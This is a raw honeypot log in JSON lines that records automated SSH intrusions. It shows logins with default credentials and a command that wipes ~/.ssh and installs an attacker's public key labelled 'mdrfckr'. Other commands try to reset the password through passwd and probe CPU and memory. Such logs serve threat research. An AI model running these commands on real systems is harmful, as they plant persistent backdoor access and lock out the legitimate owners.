{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53300,"dst_ip":"159.203.135.109","dst_port":22,"session":"2609248fe751","protocol":"ssh","message":"New connection: 159.203.92.129:53300 (159.203.135.109:22) [session: 2609248fe751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.347267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.352687Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.357464Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234@abc","message":"login attempt [admin/admin1234@abc] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.370380Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.414924Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.418468Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.422780Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.433820Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:30.438555Z","src_ip":"159.203.92.129","session":"2609248fe751","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.468498945236206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:32.125411Z","src_ip":"8.222.147.215","session":"47e4a25662df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":55438,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd7bc3822d37","protocol":"ssh","message":"New connection: 74.91.224.229:55438 (10.17.0.5:22) [session: fd7bc3822d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:50.372631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:50.376030Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:50.614030Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:51.603882Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:52.118111Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:52.121840Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:52.125162Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:52.366112Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:52.875525Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:52.878586Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:53.122022Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:53.125700Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":55440,"dst_ip":"10.17.0.5","dst_port":22,"session":"7048665ee512","protocol":"ssh","message":"New connection: 74.91.224.229:55440 (10.17.0.5:22) [session: 7048665ee512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:53.357577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:53.361719Z","src_ip":"74.91.224.229","session":"7048665ee512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:53.601289Z","src_ip":"74.91.224.229","session":"7048665ee512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:54.592773Z","src_ip":"74.91.224.229","session":"7048665ee512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:55.835716Z","src_ip":"74.91.224.229","session":"7048665ee512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.224.229","src_port":55454,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6efa835f62f","protocol":"ssh","message":"New connection: 74.91.224.229:55454 (10.17.0.5:22) [session: a6efa835f62f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:56.069960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:56.076954Z","src_ip":"74.91.224.229","session":"a6efa835f62f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:56.315803Z","src_ip":"74.91.224.229","session":"a6efa835f62f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:57.304419Z","src_ip":"74.91.224.229","session":"a6efa835f62f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:58.547021Z","src_ip":"74.91.224.229","session":"a6efa835f62f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:58.833892Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:58.837482Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:59.081422Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:59.587931Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@123\\nauzCEGbBDnWn\\nauzCEGbBDnWn\"|passwd|bash","message":"CMD: echo -e \"Admin@123\\nauzCEGbBDnWn\\nauzCEGbBDnWn\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:59.591014Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:59.594512Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:59.597626Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/139ffac0775d233c11e115fa271c7bae9fc7dd369bfffe5c1ebc6aca32cbca4d","size":32,"shasum":"139ffac0775d233c11e115fa271c7bae9fc7dd369bfffe5c1ebc6aca32cbca4d","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/139ffac0775d233c11e115fa271c7bae9fc7dd369bfffe5c1ebc6aca32cbca4d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:07:59.839947Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:00.363404Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@123\\nauzCEGbBDnWn\\nauzCEGbBDnWn\\n\"|passwd","message":"CMD: echo \"Admin@123\\nauzCEGbBDnWn\\nauzCEGbBDnWn\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:00.368103Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28841e976f63ae0ba4840b5bba24b90b3f184860696f0da3cfec608b52158b77","size":25,"shasum":"28841e976f63ae0ba4840b5bba24b90b3f184860696f0da3cfec608b52158b77","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28841e976f63ae0ba4840b5bba24b90b3f184860696f0da3cfec608b52158b77 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:00.612406Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:01.176572Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:01.180096Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:01.423994Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:01.945225Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:01.948990Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:08:02.194149Z","src_ip":"74.91.224.229","session":"fd7bc3822d37","protocol":"ssh"}
